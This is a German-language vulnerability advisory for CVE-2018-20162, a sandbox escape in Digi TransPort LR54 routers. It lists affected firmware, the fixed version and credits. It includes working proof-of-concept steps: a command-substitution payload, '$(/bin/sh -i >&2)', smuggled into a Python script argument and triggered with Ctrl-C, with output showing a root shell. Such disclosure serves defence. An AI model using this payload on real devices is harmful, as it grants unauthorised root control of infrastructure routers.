
Proof-of-concept-Exploit für CVE-2018-20162: Sandbox-Escape in Digi TransPort LR54 LTE-Router durch SIGINT-Handling-Fehler, der Root-Shell-Zugriff gewährt.
Der Digi TransPort LR54 ist ein Hochgeschwindigkeits-LTE-Router, der häufig in Industrie, Infrastruktur, Einzelhandel und öffentlichem Nahverkehr eingesetzt wird.
Er unterstützt die Ausführung von Python-Skripten in einer eingeschränkten Sandbox und verfügt über eine benutzerdefinierte Shell, die über SSH zugänglich ist und denselben Einschränkungen unterliegt. Das zugrunde liegende Betriebssystem ist daher für den Administrator nicht zugänglich.
Ich habe einen Weg gefunden, die Sandbox zu verlassen und eine Root-Shell zu erhalten, indem ich die Art und Weise ausnutze, wie die CLI Befehlszeilenargumente beim Ausführen von Python-Skripten verarbeitet:
Wenn ein interaktiver Python-Prozess ein SIGINT (durch STRG-C) empfängt, werden die Argumente an das Skript nicht ordnungsgemäß maskiert, wenn sie an den Fehlerprotokoll-Handler der interaktiven CLI übergeben werden. Dies ermöglicht es einem Angreifer, beliebige Befehle als Root auszuführen.
Um diese Sicherheitslücke auszunutzen, benötigt ein Angreifer interaktiven CLI-Zugriff mit 'Super'-Berechtigungen. Ein Benutzer mit dieser Zugriffsstufe ist standardmäßig auf dem Gerät aktiviert.
Digi Transport LR54 (und möglicherweise verwandte Produkte wie WR64 und WR54)
Firmware-Version : 4.4.0.26 10/29/2018 21:14:06 Firmware-Version : 4.3.2.24 09/06/2018 00:58:34
Und möglicherweise frühere Versionen
Benutzer sollten auf Firmware-Version 4.5.1.4 oder neuer aktualisieren. Auf dem Gerät gespeicherte Geheimnisse wie private Schlüssel und Passphrasen sollten vorsorglich geändert werden.
sleep.py per scp oder sftp auf den LR54 hoch, mit folgendem Inhalt:import time;time.sleep(10)
python sleep.py --XXX $(/bin/sh -i >&2)
Drücken Sie sofort nach Programmstart STRG-C
Sie landen dann in einer interaktiven Root-Shell:
/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)
Sicherheitslücke entdeckt von Stig Palmquist.
Dank an @duniel_pls und @alexanderkjall für die Überprüfung dieses Berichts.